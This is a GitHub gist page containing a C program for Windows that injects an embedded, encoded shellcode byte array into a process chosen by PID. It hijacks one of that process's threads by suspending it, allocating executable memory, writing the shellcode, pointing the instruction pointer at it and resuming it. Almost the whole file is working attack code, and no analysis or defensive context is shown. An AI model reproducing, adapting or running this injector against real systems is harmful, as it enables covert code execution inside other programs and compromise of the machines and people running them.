Last active
July 9, 2025 14:59
-
-
Save justaguywhocodes/77909f31183dc1f2929b243da14d2228 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <tlhelp32.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
unsigned char shellcode[] = { | |
0x89, 0xe3, 0xd9, 0xe1, 0xd9, 0x73, 0xf4, 0x5d, 0x55, 0x59, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x49, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x37, 0x51, 0x5a, 0x6a, 0x41, 0x58, 0x50, 0x30, 0x41, 0x30, 0x41, 0x6b, 0x41, 0x41, 0x51, 0x32, 0x41, 0x42, 0x32, 0x42, 0x42, 0x30, 0x42, 0x42, 0x41, 0x42, 0x58, 0x50, 0x38, 0x41, 0x42, 0x75, 0x4a, 0x49, 0x79, 0x6c, 0x68, 0x68, 0x6e, 0x62, 0x43, 0x30, 0x35, 0x50, 0x77, 0x70, 0x65, 0x30, 0x6c, 0x49, 0x78, 0x65, 0x50, 0x31, 0x6b, 0x70, 0x35, 0x34, 0x6c, 0x4b, 0x50, 0x50, 0x36, 0x50, 0x4c, 0x4b, 0x32, 0x72, 0x74, 0x4c, 0x6c, 0x4b, 0x30, 0x52, 0x62, 0x34, 0x6c, 0x4b, 0x63, 0x42, 0x51, 0x38, 0x74, 0x4f, 0x78, 0x37, 0x42, 0x6a, 0x37, 0x56, 0x74, 0x71, 0x69, 0x6f, 0x4c, 0x6c, 0x55, 0x6c, 0x71, 0x71, 0x63, 0x4c, 0x56, 0x62, 0x44, 0x6c, 0x71, 0x30, 0x79, 0x51, 0x38, 0x4f, 0x64, 0x4d, 0x75, 0x51, 0x6b, 0x77, 0x7a, 0x42, 0x38, 0x72, 0x50, 0x52, 0x51, 0x47, 0x4e, 0x6b, 0x63, 0x62, 0x74, 0x50, 0x4c, 0x4b, 0x42, 0x6a, 0x75, 0x6c, 0x4e, 0x6b, 0x70, 0x4c, 0x52, 0x31, 0x61, 0x68, 0x59, 0x73, 0x67, 0x38, 0x76, 0x61, 0x68, 0x51, 0x53, 0x61, 0x6c, 0x4b, 0x73, 0x69, 0x51, 0x30, 0x75, 0x51, 0x4e, 0x33, 0x6c, 0x4b, 0x43, 0x79, 0x34, 0x58, 0x48, 0x63, 0x65, 0x6a, 0x32, 0x69, 0x4c, 0x4b, 0x64, 0x74, 0x4c, 0x4b, 0x66, 0x61, 0x4b, 0x66, 0x75, 0x61, 0x39, 0x6f, 0x6e, 0x4c, 0x4f, 0x31, 0x68, 0x4f, 0x74, 0x4d, 0x67, 0x71, 0x49, 0x57, 0x55, 0x68, 0x6d, 0x30, 0x32, 0x55, 0x69, 0x66, 0x76, 0x63, 0x63, 0x4d, 0x5a, 0x58, 0x55, 0x6b, 0x43, 0x4d, 0x55, 0x74, 0x33, 0x45, 0x49, 0x74, 0x72, 0x78, 0x6e, 0x6b, 0x53, 0x68, 0x36, 0x44, 0x33, 0x31, 0x7a, 0x73, 0x62, 0x46, 0x6e, 0x6b, 0x66, 0x6c, 0x62, 0x6b, 0x4c, 0x4b, 0x43, 0x68, 0x45, 0x4c, 0x36, 0x61, 0x38, 0x53, 0x6e, 0x6b, 0x57, 0x74, 0x4c, 0x4b, 0x36, 0x61, 0x4e, 0x30, 0x4f, 0x79, 0x33, 0x74, 0x61, 0x34, 0x51, 0x34, 0x53, 0x6b, 0x63, 0x6b, 0x55, 0x31, 0x56, 0x39, 0x31, 0x4a, 0x50, 0x51, 0x49, 0x6f, 0x49, 0x70, 0x71, 0x4f, 0x73, 0x6f, 0x72, 0x7a, 0x6e, 0x6b, 0x74, 0x52, 0x68, 0x6b, 0x4e, 0x6d, 0x71, 0x4d, 0x31, 0x7a, 0x75, 0x51, 0x6e, 0x6d, 0x6c, 0x45, 0x68, 0x32, 0x47, 0x70, 0x43, 0x30, 0x43, 0x30, 0x30, 0x50, 0x31, 0x78, 0x70, 0x31, 0x6e, 0x6b, 0x62, 0x4f, 0x6c, 0x47, 0x4b, 0x4f, 0x39, 0x45, 0x4f, 0x4b, 0x38, 0x70, 0x78, 0x35, 0x49, 0x32, 0x72, 0x76, 0x72, 0x48, 0x39, 0x36, 0x6d, 0x45, 0x6d, 0x6d, 0x6f, 0x6d, 0x39, 0x6f, 0x49, 0x45, 0x47, 0x4c, 0x37, 0x76, 0x61, 0x6c, 0x67, 0x7a, 0x6f, 0x70, 0x6b, 0x4b, 0x69, 0x70, 0x33, 0x45, 0x77, 0x75, 0x4d, 0x6b, 0x52, 0x67, 0x66, 0x73, 0x51, 0x62, 0x70, 0x6f, 0x51, 0x7a, 0x43, 0x30, 0x73, 0x63, 0x4b, 0x4f, 0x6e, 0x35, 0x70, 0x6e, 0x32, 0x4f, 0x31, 0x64, 0x53, 0x55, 0x74, 0x30, 0x65, 0x31, 0x73, 0x54, 0x54, 0x6e, 0x71, 0x75, 0x62, 0x58, 0x43, 0x55, 0x73, 0x30, 0x41, 0x41 | |
}; | |
// Function to enumerate threads and return the first thread ID for a given process ID | |
DWORD GetThreadIdForProcess(DWORD processId) { | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | |
if (hSnapshot == INVALID_HANDLE_VALUE) { | |
printf("Failed to create thread snapshot. Error: %lu\n", GetLastError()); | |
return 0; | |
} | |
THREADENTRY32 threadEntry; | |
threadEntry.dwSize = sizeof(THREADENTRY32); | |
if (!Thread32First(hSnapshot, &threadEntry)) { | |
printf("Failed to get first thread. Error: %lu\n", GetLastError()); | |
CloseHandle(hSnapshot); | |
return 0; | |
} | |
// Iterate through threads to find one belonging to the target process | |
do { | |
if (threadEntry.th32OwnerProcessID == processId) { | |
CloseHandle(hSnapshot); | |
return threadEntry.th32ThreadID; // Return the first matching thread ID | |
} | |
} while (Thread32Next(hSnapshot, &threadEntry)); | |
printf("No threads found for process ID %lu\n", processId); | |
CloseHandle(hSnapshot); | |
return 0; | |
} | |
int main(int argc, char* argv[]) { | |
// Step 1: Validate and parse command-line argument for PID | |
if (argc != 2) { | |
printf("Usage: %s <PID>\n", argv[0]); | |
return 1; | |
} | |
char* endptr; | |
DWORD processId = (DWORD)strtoul(argv[1], &endptr, 10); | |
if (*endptr != '\0' || processId == 0) { | |
printf("Invalid PID: %s\n", argv[1]); | |
return 1; | |
} | |
printf("Targeting process ID: %lu\n", processId); | |
// Step 2: Find a thread in the target process | |
DWORD threadId = GetThreadIdForProcess(processId); | |
if (threadId == 0) { | |
printf("Failed to find a suitable thread for process %lu\n", processId); | |
return 1; | |
} | |
printf("Selected thread ID: %lu\n", threadId); | |
// Step 3: Open the target process | |
HANDLE hProcess = OpenProcess( | |
PROCESS_ALL_ACCESS, // Request full access | |
FALSE, | |
processId | |
); | |
if (hProcess == NULL) { | |
printf("Failed to open process. Error: %lu\n", GetLastError()); | |
return 1; | |
} | |
// Step 4: Open the target thread | |
HANDLE hThread = OpenThread( | |
THREAD_ALL_ACCESS, // Request full access | |
FALSE, | |
threadId | |
); | |
if (hThread == NULL) { | |
printf("Failed to open thread. Error: %lu\n", GetLastError()); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 5: Suspend the thread | |
if (SuspendThread(hThread) == (DWORD)-1) { | |
printf("Failed to suspend thread. Error: %lu\n", GetLastError()); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 6: Allocate memory in the target process | |
LPVOID remoteMemory = VirtualAllocEx( | |
hProcess, | |
NULL, | |
sizeof(shellcode), | |
MEM_COMMIT | MEM_RESERVE, | |
PAGE_EXECUTE_READWRITE | |
); | |
if (remoteMemory == NULL) { | |
printf("Failed to allocate memory. Error: %lu\n", GetLastError()); | |
ResumeThread(hThread); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 7: Write the shellcode to the allocated memory | |
if (!WriteProcessMemory( | |
hProcess, | |
remoteMemory, | |
shellcode, | |
sizeof(shellcode), | |
NULL | |
)) { | |
printf("Failed to write process memory. Error: %lu\n", GetLastError()); | |
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | |
ResumeThread(hThread); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 8: Get the current thread context | |
CONTEXT context; | |
context.ContextFlags = CONTEXT_FULL; | |
if (!GetThreadContext(hThread, &context)) { | |
printf("Failed to get thread context. Error: %lu\n", GetLastError()); | |
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | |
ResumeThread(hThread); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 9: Modify the instruction pointer to point to the injected code | |
#ifdef _M_X64 | |
context.Rip = (DWORD64)remoteMemory; | |
#else | |
context.Eip = (DWORD)remoteMemory; | |
#endif | |
// Step 10: Set the modified thread context | |
if (!SetThreadContext(hThread, &context)) { | |
printf("Failed to set thread context. Error: %lu\n", GetLastError()); | |
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | |
ResumeThread(hThread); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Step 11: Resume the thread | |
if (ResumeThread(hThread) == (DWORD)-1) { | |
printf("Failed to resume thread. Error: %lu\n", GetLastError()); | |
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 1; | |
} | |
// Cleanup | |
printf("Code injection completed successfully.\n"); | |
CloseHandle(hThread); | |
CloseHandle(hProcess); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment